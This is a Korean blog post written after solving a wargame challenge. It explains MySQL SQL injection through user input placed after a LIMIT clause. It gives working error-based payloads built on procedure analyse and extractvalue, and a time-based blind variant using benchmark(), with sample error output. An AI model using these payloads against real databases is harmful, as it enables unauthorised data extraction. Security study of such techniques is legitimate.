Limit 구문에서의 SQL Injection :: Hide

Limit 구문에서의 SQL Injection

Posted by Hide­
2015.02.27 03:41 Security/Web

rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다.

이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다.


SELECT * FROM member WHERE id='guest' LIMIT {user input}


먼저 SELECT 의 문법에 대해 살펴보자.




이와 같이 LIMIT 이후에는 procedure analyse, into ~ 등을 쓸 수 있다.

그 중 procedure analyse 를 이용한 에러기반, 블라인드 기법에 대해 설명한다.

procedure analyse 는 보통 테이블에 들어있는 데이터를 분석하여 통계를 내주는 기능이다.

해당 기능은 총 2개의 파라미터를 받는다. (http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html)

여기에 보통 에러기반 인젝션에 사용되는 Extractvalue,UpdateXML 함수를 통해 공격을 할 수 있다.

여기서는 Extractvalue 를 통해 공격을 진행하겠다.

보통 extractvalue 를 통해 에러인젝션을 시도할 때의 공격구문은 다음과 같다.


extractvalue(1,concat(0x3a,version()))


이 문법을 통해 다음과 같이 공격을 진행한다.


SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())))

-> Incorrect parameters to procedure 'analyse'


파라미터를 하나 더 줘서 시도해본다.


SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)

-> XPATH syntax error: ':5.1.41-community'


성공적으로 version이 뽑힌걸 확인할 수 있다.

에러를 직접 확인할 수 없을때 아래와 같이 시간지연+블라인드 기법을 섞은 쿼리를 쓸 수 있다.


limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);

-> Only constant XPATH queries are supported

sleep 함수대신 benchmark 함수를 써본다.


limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);


성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.


아직 깊게 실험해본 기법이 아니라 틀린점이 있을수도 있습니다. 부족한부분은 점차 채워가도록 하겠습니다.

틀린점은 댓글로 알려주시면 감사하겠습니다.



다른 사람들이 많이 읽은 글

'Security > Web' 카테고리의 다른 글

New Error Based SQL Injection in MySQL >= 5.7.5  (1) 2015.04.05
Natas 11  (0) 2015.03.05
Limit 구문에서의 SQL Injection  (2) 2015.02.27
문자열함수를 이용한 SQL Injection  (2) 2015.01.29
List of Apache dirs  (0) 2015.01.17
HTTP 상태코드  (0) 2014.11.01
이 댓글을 비밀 댓글로
  1. 오예 퍼갑니다

티스토리 툴바